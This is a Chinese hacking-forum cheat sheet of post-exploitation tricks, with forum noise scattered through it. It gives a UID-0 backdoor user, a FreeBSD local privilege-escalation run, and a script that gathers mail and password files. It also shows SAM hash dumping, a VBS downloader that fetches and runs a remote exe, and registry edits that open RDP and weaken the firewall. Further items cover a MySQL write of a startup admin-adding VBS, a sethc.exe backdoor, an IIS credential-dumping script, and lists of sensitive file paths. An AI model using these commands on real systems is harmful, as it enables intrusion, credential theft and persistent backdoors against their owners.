6 I" t; b9 H( |3 Q
+ z/ w# N+ u. b, S  A3 Z# y8 z/ k* |七: Linux添加UID为0的root用户
useradd -o -u 0 nothack

八.freebsd本地提权
[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
! J0 F( r& V" [6 f  A: ~; t* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
( i! o2 }- I+ W) Q- [$ y——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
! A0 c+ w/ J3 P. j————————————————————————————
1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
) h" }% I- L% l: Z. {; Y4 q+ B关于tar的打包方式,linux不以扩展名来决定文件类型。
+ \& H& T2 R- u  q0 \若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
2 B9 a9 w* H. b}  
0 G3 b& R0 _5 u: Z9 S! K9 H
提权先执行systeminfo
1 j/ R6 H' m" Y3 ?6 {7 f4 H6 Mtoken 漏洞补丁号 KB956572
0 `" m. [6 K& K$ {2 ~) x& J- u% LChurrasco          kb952004
命令行RAR打包~~·
  W9 J" @1 J$ Brar a -k -r -s -m3 c:\1.rar c:\folder
! B! A9 a8 e0 V/ A# f0 K——————————————
" }9 o- z  N4 i, w( R: ?7 d* C6 X2、收集系统信息的脚本  
for window：
% P7 r5 I  n; W7 e: z5 W
* y! l! J7 P2 }) @@echo off
echo #########system info collection
! U! L# ~1 C# [8 ^( w2 B& }systeminfo
0 {' o' I) @* f- N3 \# jver
hostname
7 r. u0 p4 n6 dnet user
net localgroup
net localgroup administrators
net user guest
net user administrator
6 m, A8 \, k) U2 T6 I- R
echo #######at- with   atq#####
echo schtask /query

echo
8 b) }: z! v% z, [! a$ G1 Wecho ####task-list#############
* |# y# g' w7 E' f% Htasklist /svc
echo
echo ####net-work infomation
+ {9 C( _+ E- kipconfig/all
route print
arp -a
, {, |- I* M7 g. rnetstat -anipconfig /displaydns
8 L5 V- _1 u& {echo
echo #######service############
sc query type= service state= all
; D! i/ r: A. N6 j( R" Wecho #######file-##############
cd \
0 c$ l- Z$ V. n0 b8 T5 Stree -F
for linux：
. U( I- _2 |* Q! J) g8 s4 W% C2 h4 U
9 T4 d+ B" v6 n+ h( I4 f#!/bin/bash
- H: {1 N" k" e, S% S% F4 f; |
+ B4 K2 J. w' R5 }echo #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
6 K/ \! q0 |0 `5 ?/ iecho #######basic infomation##
# x! G7 u; W. @& z( Lcat /proc/meminfo
echo
* t: I  R6 @2 Y! s, N4 q7 tcat /proc/cpuinfo
5 Q  _$ N. k! o0 uecho
+ W; ]" q4 [$ Z  s0 w6 m$ p7 Urpm -qa 2>/dev/null
######stole the mail......######
' G( Z- |8 Q3 M: pcp -a /var/mail /tmp/getmail 2>/dev/null
* `, r9 t. n* L& J

3 F. P. P2 M7 h! {9 P0 kecho 'u'r id is' `id`
1 _" B0 G5 b% R2 ~( o- Pecho ###atq&crontab#####
1 W) z" X- O3 }$ _- Datq
- a# s1 Z  B# J9 D- Tcrontab -l
: k8 U7 Y2 J( g- {5 z4 Y4 \8 j3 Uecho #####about var#####
/ }" F# z+ @$ q3 Oset

4 @( @% T7 {2 L9 Secho #####about network###
, A- q1 c; h1 e6 m9 d. {####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
hostname
ipconfig -a
arp -v
echo ########user####
$ g( {* {% ^% G1 `# U+ Lcat /etc/passwd|grep -i sh

4 }- ^$ z3 D/ n/ y: z  Wecho ######service####
chkconfig --list
  w9 L1 t/ ^* `; o5 R
for i in {oracle,mysql,tomcat,samba,apache,ftp}
7 _% w7 u9 N# ^% P7 ucat /etc/passwd|grep -i $i
; d+ P' V. L1 ~" n( n0 B( Ddone
, `( y" g4 m1 F7 j1 [% s' P
& o, ]' R; _8 r& d. Q, g5 ^, c, glocate passwd >/tmp/password 2>/dev/null
sleep 5
, }! d2 G) `* s; i* i% T- ylocate password >>/tmp/password 2>/dev/null
sleep 5
0 y( M2 q8 I/ {% B1 N5 P& E1 _1 ulocate conf >/tmp/sysconfig 2>dev/null
sleep 5
1 f) ?% J7 }; \( K8 H- flocate config >>/tmp/sysconfig 2>/dev/null
& K/ r0 H, G' a( L* r9 Q' t& zsleep 5
. A% S7 \0 u  r
3 a' Z, T$ i6 ^- v: d###maybe can use "tree /"###
, n0 M# Y  N: v- Kecho ##packing up#########
9 x* ]% Y- Q# E0 y, {8 Ttar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
rm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
7 {/ A9 J0 P5 c6 R. h# R8 c3、ethash 不免杀怎么获取本机hash。
5 j# T& w. L% Z首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
* H/ h( P+ s( B( y接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
7 R: d% {2 S2 C; R9 ^( m——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
9 q2 R) z: _6 g! S" becho sGet.Mode = 3 >>c:\windows\cftmon.vbs
: g( S9 o  t3 _* ^echo sGet.Type = 1 >>c:\windows\cftmon.vbs
4 m: b8 f- ]$ I/ q0 B4 ]8 T9 Decho sGet.Open() >>c:\windows\cftmon.vbs
echo sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
  a5 u: l' d9 Z* O" F" |echo Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
5 y. ~) j! U. q9 }9 U" k  p5 ~cftmon.vbs

2
& L: J  X3 k8 lOn Error Resume Nextim iRemote,iLocal,s1,s2
7 R$ T: A; B) jiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
% |$ Y4 `+ g, C3 vSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
+ v! V& U  v( B" H( S8 CsGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2

- y' _% c# L- L: X1 }cscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
% Y$ S! p( q& b, T
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
$ G8 {, [: r4 j$ T" G1 {——————————————————
5、
. n! ?  p$ ~& y; K1.查询终端端口
' V9 ]9 B5 ]3 S$ I9 F& |& ]) _REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
; ^( a; P# G0 ^& J* i2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
$ a- @+ U8 s9 o3.更改终端端口为2008(0x7d8)
+ I3 E& N$ D8 y) {" V0 p$ [REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
3 P. t2 y1 q$ `, [1 ~3 @$ W9 y" `4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
. f/ c* `6 x0 UREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
; q  k* Y7 d! H9 X8 n/ X8 i6、create table a (cmd text);
1 w' J! S3 F, A# j' I, Ainsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
+ U& M' V9 n7 j$ P3 a  j% x7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
8、for /d %i in (d:\freehost\*) do @echo %i

列出d的所有目录
  
  for /d %i in (???) do @echo %i
( l2 c3 e% }3 v3 F
把当前路径下文件夹的名字只有1-3个字母的打出来

2.for /r %i in (*.exe) do @echo %i
  
, d' ], f3 g6 t/ z2 t; A/ `& |% z& B以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出
) P8 d' M7 ^6 D- r& b- {
for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
: f9 o" B( B9 [! O! ~
: c8 ]$ Y! R' L0 c" Z1 P/ t; }3.for /f %i in (c:\1.txt) do echo %i
( b, u- l+ v3 B* @$ E% u  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中

4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

, t3 q) C7 u3 {" w: ?9 Y  delims=后的空格是分隔符 tokens是取第几个位置
——————————
- d% V6 w9 `# J  j1 E) s●注册表:
1.Administrator注册表备份:
- y6 F8 S) k5 Nreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg
6 O) N' {7 F$ k2 C# N- q. i- {
& X7 m6 p- [2 N2.修改3389的默认端口:
7 p/ L  I; i" T& ?" T2 d- xHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
修改PortNumber.
1 @/ c: B9 b( _' Y' P- k0 I7 j( j
3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
# i" q' I0 g1 v5 E3 M
# c0 X0 e1 ^3 X. d3 q/ ?1 ~4.Radmin密码:
$ a3 _/ _* I6 O' o- P! {: ~reg export HKLM\SYSTEM\RAdmin c:\a.reg
9 e8 h# q/ x/ j9 F: f* E
3 F. i) j2 P. O1 i2 `5.禁用TCP/IP端口筛选(需重启):
$ G2 a: v% G( m6 w. y  b6 RREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
2 T) U8 h. b: H8 a. d8 h
" k# \9 c5 C4 T5 z1 [6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
+ f8 e! E) y, }或者
# f9 e6 C5 L, a3 U9 `; d: j% Inetsh ipsec dynamic set config ipsecexempt value=0
* ^3 L# U$ r. m; @$ T$ m
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
8 Z% ]+ C* }1 f2 Q
2 U  ]& K. w- u$ e8.系统口令恢复LM加密:
/ U3 K! z7 F' j. treg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive
/ x4 F5 M$ [; n* c1 ~( K+ ]
10.shift映像劫持
' B' u& C% M2 ~: R( areg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
-----------------------------------
/ u6 @7 ?$ N$ y/ y7 e星外vbs(注：测试通过，好东西）
0 Y/ J& Y# K' K* b4 u/ `9 LSet ObjService=GetObject("IIS://LocalHost/W3SVC")
2 n9 F3 I; R: FFor Each obj3w In objservice
( i" _1 z+ c( q9 ]& o+ T' d, ]childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
- X5 }8 ]- |; }0 Tif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
' I7 I/ ]& e1 v  R# Owscript.quit
3 `1 c, {+ P/ @  ^0 rend if
& ~4 w8 K2 ]6 r8 K. h4 ?serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
2 E" h0 b( n3 b/ [4 Tuser=iisweb.AnonymousUserName
  r1 \6 L; H5 m0 B* @/ f! \5 zpass=iisweb.AnonymousUserPass
7 u; \( G* A* R$ e  ]- K: u: hpath=IIsWeb.path
1 u! |7 ]# j8 I, ^4 q' \list=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
( C: }: z( f2 n- W* hwscript.echo list
, g4 l3 t. K& USet ObjService=Nothing
1 R# S8 j4 G; h" t2 W& D* x# jwscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
* F0 S6 s0 G, O: b8 r% }0 I复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
4 T" M% o3 g. q0 f7 v9 M% M1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
% k# P9 p4 U; _! g复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
8 Y4 \% [3 L9 W9 M. b9 d+ \asp代码，利用的时候会出现登录问题
' e  _  A. y% r' E7 q9 e% k' z( Q 原因是ASP大马里有这样的代码：（没有就没事儿了）
2 t0 h  \: d1 E& H$ T: Z url=request.severvariables("url")
1 U" }; O/ n. ^$ y( r 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马

==============================================================
. d+ a& \* {1 e5 n/ pLINUX常见路径：

/etc/passwd
/etc/shadow
+ X/ Y0 M4 v" @/etc/fstab
! Q4 q# i0 `2 J! e/etc/host.conf
/etc/motd
/etc/ld.so.conf
) i6 s7 }& I5 ^! H9 L+ e2 a/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
' s: b/ J5 [, r$ N/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
$ H8 c3 @5 r2 }/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
7 a9 b$ I8 e/ X3 S8 E& x6 \/var/www/index.html
) a$ P  z$ A, X) O% Z/ W/var/www/index.php
  h( ]% [  l7 k. N0 V# K- c/opt/www/conf/httpd.conf
3 }& ]/ G$ }  P" H4 K5 r- M' l0 V/opt/www/htdocs/index.php
6 r  o& B! |9 h$ Y; |2 T4 {/opt/www/htdocs/index.html
$ y; [& \, O$ ^9 x8 T' k% d4 g/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
/usr/local/apache2/htdocs/index.php
5 H. u$ s( q/ M# U$ Q' l, H4 c$ p/usr/local/httpd2.2/htdocs/index.php
( g7 V/ r6 s7 p/usr/local/httpd2.2/htdocs/index.html
+ d$ K/ Y* N5 @) X, i' F6 }/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
1 C3 P1 t! }- A/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
3 Q% H% A" I3 o. D/www/php4/php.ini
/www/php5/php.ini
6 X! \8 V! d1 ~$ G5 [: \/www/conf/httpd.conf
5 b6 r) e8 v* f1 j+ I  s/www/htdocs/index.php
4 ^- b8 w: A7 m4 [# U/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
. k: N# o% s9 D) K# P4 h/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
# w1 o4 d6 ~) Y6 W/etc/apache2/apache.conf
3 O. [# A, E1 j+ b( d7 P8 R7 e( A, q4 {/etc/apache/httpd.conf
/etc/apache2/httpd.conf
# g9 K/ H8 k) ^/etc/apache2/vhosts.d/00_default_vhost.conf
8 R% a/ `: r$ M6 n8 j8 S/etc/apache2/sites-available/default
$ |" {6 Z3 a8 N% E) T/etc/phpmyadmin/config.inc.php
4 M6 u7 G3 R/ C7 z/ ~/ H' M/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
+ o. z$ f3 E" b7 K% g/etc/httpd/logs/error.log
" e$ I  @6 }7 q6 O) x. F: N- [/etc/httpd/logs/access_log
1 q) w, U/ B8 h. B7 @8 h$ d/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
8 X; U$ b" X& v& S0 x2 J7 C4 E, G/var/log/apache/error.log
/var/log/apache/access_log
' ~+ |  F" N! }9 b4 d3 L) H1 Q/var/log/apache/access.log
( Q6 n% }( {5 `* ^/var/log/apache2/error_log
# u9 H! l" y* m7 d/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
- @; t; F3 {' X+ y) o- U/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
  x7 m6 x" C6 Z' G9 r! a% h& \) F% I/var/www/logs/access.log
/usr/local/apache/logs/error_log
9 w( p2 [! Z( S( |/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
7 q# h* n& ]4 d  z" @) T9 W/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
/etc/php.ini
4 E, d' k& R( m4 K: m. [/bin/php.ini
/etc/init.d/httpd
" R4 K! X0 {# T% A+ ~/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
5 S8 [& ]6 z& ]/usr/lib/php/php.ini
/usr/local/etc/php.ini
/usr/local/lib/php.ini
. Y$ G  Z$ T& l/usr/local/php/lib/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
8 K, m$ W  r1 _- G/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
9 Q' i+ t5 m6 N5 G5 G2 l/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
" ~8 i" @/ f) j# Z2 J" P/etc/php/php.ini
/etc/php/php4/php.ini
, u" A1 w3 _" q: _7 {1 b/etc/php/apache/php.ini
" R5 H* `# R* S, g; Z2 ^, ?0 I/etc/php/apache2/php.ini
* W! r! ^; W) g, D) }% l% K/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
4 K% _( M/ U0 [  Q/etc/php4/cgi/php.ini
/ L) x: X9 N2 \2 u  }0 ~/etc/php5/cgi/php.ini
/php5/php.ini
2 J* M" K3 j* b+ Q* ]/php4/php.ini
/php/php.ini
% i6 s* R4 K5 h2 l  ^/PHP/php.ini
, p/ e- ]' L2 e  F& Q: v/apache/php/php.ini
( K7 \" A5 G# H. S6 R1 l/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
# J3 ~0 N9 ]6 D% J/var/log/mysql/mysql-bin.log
2 k0 z: `0 r% B7 n9 u- E, l, Q0 o/var/log/mysql.log
/var/log/mysqlderror.log
. V7 z% _) H9 O9 Y9 P( M/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
5 }1 a0 P* d2 M( l: r/var/mysql.log
; f  f9 U. F+ T3 n+ Q6 p/var/lib/mysql/my.cnf
/usr/local/mysql/my.cnf
1 @1 R2 I/ @% e) t3 n/usr/local/mysql/bin/mysql
( z4 j$ o# X4 u$ w/etc/mysql/my.cnf
/etc/my.cnf
/usr/local/cpanel/logs
1 x8 _* a& A- z/ w! A! V/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
  i: |0 e1 U7 ^6 }) h4 K/usr/local/cpanel/logs/error_log
" u" Z" w5 b! X# W5 V3 ]/ Q6 h/usr/local/cpanel/logs/license_log
# d' q7 k% i7 j) e# w7 ?/usr/local/cpanel/logs/login_log
$ I: A- Q8 _: |9 c) d% f/usr/local/cpanel/logs/stats_log
/ y- u5 q( A. E' u8 C+ Y/usr/local/share/examples/php4/php.ini
, y& V  t0 g+ S$ ~! ?/usr/local/share/examples/php/php.ini
4 L( q9 S# a3 x; I
2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
5 n* Z2 c& r# Y% m+ E2 \- ]; f8 E
c:\windows\php.ini
7 k1 ~  n) h! W) lc:\boot.ini
c:\1.txt
7 t" B3 l1 m: z1 Ec:\a.txt
& j: ^. ]" y" k
( T4 e; b8 y# v; x! i- xc:\CMailServer\config.ini
( h5 ?+ c- m- @7 Q, u$ jc:\CMailServer\CMailServer.exe
c:\CMailServer\WebMail\index.asp
c:\program files\CMailServer\CMailServer.exe
& v) A/ w8 \5 m" V1 W6 {c:\program files\CMailServer\WebMail\index.asp
- }+ a, E2 j4 ~( EC:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
- v* o$ e  Q+ g6 i8 z$ l9 EC:\WINDOWS\7i24tool.exe
+ v7 c) ~0 e* h7 C
c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

( u# y5 a/ \5 w# f) f8 e- UC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
" B6 A4 y% b) @  x, X9 fC:\WINDOWS\web.config
  R3 p% E2 o. |* H: tc:\web\index.html
! \' c+ _: S* i# w# \# J# E* B/ A4 dc:\www\index.html
c:\WWWROOT\index.html
c:\website\index.html
1 x" j' }  ?% F" f0 B% Bc:\web\index.asp
c:\www\index.asp
+ h0 h: a; A  d4 w, }2 o- V5 tc:\wwwsite\index.asp
, D2 ^5 x& E. m7 Nc:\WWWROOT\index.asp
- X( V+ J1 [6 I/ Q! N: _/ N' B! }c:\web\index.php
. m! F  r( ]  J! X1 oc:\www\index.php
c:\WWWROOT\index.php
% b9 [# P; ^' p% Pc:\WWWsite\index.php
% H  s" a! _7 h. B6 d* g0 nc:\web\default.html
7 `" H, l. J9 P0 [8 t1 dc:\www\default.html
c:\WWWROOT\default.html
* \: Y3 ]- a6 a" {' h$ d. \) I" ]c:\website\default.html
* I6 H1 G2 A. c9 H( `; Gc:\web\default.asp
0 w, R; p; U* H( ~, `$ ?7 {7 Yc:\www\default.asp
c:\wwwsite\default.asp
c:\WWWROOT\default.asp
c:\web\default.php
. l- B4 S0 d3 [3 e- yc:\www\default.php
+ I8 |1 z( {) }$ z, `- m; rc:\WWWROOT\default.php
c:\WWWsite\default.php
, O7 }8 C' g) E6 Q8 u# A' ?C:\Inetpub\wwwroot\pagerror.gif
: F6 Y; F$ F7 uc:\windows\notepad.exe
! A; X6 G* |  Q1 Q8 ac:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
- s2 Q- q2 b. M/ g0 I$ |7 bC:\Program Files\Microsoft Office\OFFICE11\winword.exe
C:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
. f) y$ S9 |; vC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
9 \4 J. t. F, }9 ~7 KC:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
c:\ravbin\store.ini
5 ~" K- a# w: Z) c0 yc:\rising.ini
" j% O% }4 i# pC:\Program Files\Rising\Rav\RsTask.xml
3 g& d& u: L; R$ W. R* c8 V* d$ }C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
9 }% J) a) D3 J* C5 ]( EC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
! e( V- n* S3 l. r& mC:\Documents and Settings\Administrator\My Documents\a.txt
- W. k4 ~  C7 `! n: q* kC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
/ S1 k1 y# x! D, k4 v0 cC:\Program Files\RhinoSoft.com\Serv-U\Version.txt
. w* U" [) [' W" s- |. I* l, pC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
( u2 i( r: @) i$ K  BC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
8 t7 R6 [" ~& A, w3 t: W% ?C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
! |, Y! w' o: i" L" t% |! j* [C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
9 e& K' T/ R7 T  b* v& SC:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
4 P* w  X' R. r0 ~# BC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
8 M. W' r" x( A# n( ~: Q  ^3 a; gc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
5 m$ ]* O5 I& O9 h# q& g0 f; FC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
9 Z6 O/ y2 j2 iC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
# p3 X6 R: U# s$ Y# pC:\WINDOWS\system32\config\default.LOG
, I- y$ m" h, Z1 Z8 oC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
% r$ h3 q/ ?' P0 I$ x0 K. ac:\program files\CMailServer\config.ini
  L" T$ n& K) d1 Qc:\tomcat6\tomcat6\bin\version.sh
0 N0 V: P( u8 ?' v9 nc:\tomcat6\bin\version.sh
; i! R: P( ?* L: P1 t( r" nc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
' m% |' j8 y* }2 ]+ A0 Sc:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
